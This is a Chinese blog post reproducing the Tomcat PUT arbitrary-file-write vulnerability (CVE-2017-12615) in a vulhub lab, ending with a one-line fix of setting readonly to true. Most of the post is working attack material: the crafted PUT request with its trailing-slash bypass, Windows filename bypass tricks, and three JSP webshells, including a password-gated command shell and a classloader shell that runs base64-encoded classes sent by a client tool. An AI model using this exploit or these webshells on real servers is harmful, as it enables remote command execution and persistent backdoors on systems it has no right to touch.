tomcat通过PUT方法任意文件写入(CVE-2017-12615)漏洞复现

漏洞描述

Tomcat中如果在配置文件中设置了readonly=false,就会产生任意文件上传漏洞。
readonly的值默认是true,即不允许请求头delete和put操作,如果设置该参数为false,就可以通过put请求方法上传任意文件,例如jsp后门

漏洞利用

使用vulhub进行漏洞复现

cd vulhub/tomcat/CVE-2017-12615
sudo docker-compose up -d


成功启动

请求头格式如下:

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

上述上传成功后就会在web目录生成一个内容为shell的1.jsp文件,只需要更改为jsp代码即可

使用burp抓包修改请求头,将GET改为PUT,修改请求的文件名就是上传的文件名,在POST传输数据传入jsp木马内容,
请求的地址为想要写入的文件名,例如这里是/1.jsp,为什么要加入/1.jsp/呢?
是因为tomcat解析到后缀名为jsp或者jspx的时候会交给JspServlet,最后的/是因为文件名特性最后不支持/默认会去除就可以绕过JspServlet文件的解析
具体原理可以参考https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e


这里vulhub靶机的实验环境是Linux,在Windows中我们可以利用Windows的文件名特性,例如后缀名空格去除或者是常用的::$DATANTFS文件流绕过

上传后使用访问进行命令执行

jsp木马参考:https://juejin.cn/post/7105300421089951775
有回显的jsp木马

<%
    if ("ocean".equals(request.getParameter("pwd"))) {
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while ((a = in.read(b)) != -1) {
            out.print(new String(b));
        }
        out.print("</pre>");
    }

%>

使用方法需要传入一个pwd为密码,密码为ocean可以自定义,之后传入cmd参数执行系统命令
默认的jsp一句话木马

<% Runtime.getRuntime().exec(request.getParameter("i"));%>

缺点很多,无法使用工具连接,并且没有命令回显
工具可以连接的jsp木马

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

修复建议

readonly的值改为true即可防止该漏洞

修改web.xmlreadonly的值为true

再次利用失败

实验结束。

posted @ 2024-04-09 09:44  Junglezt  阅读(206)  评论(0编辑  收藏  举报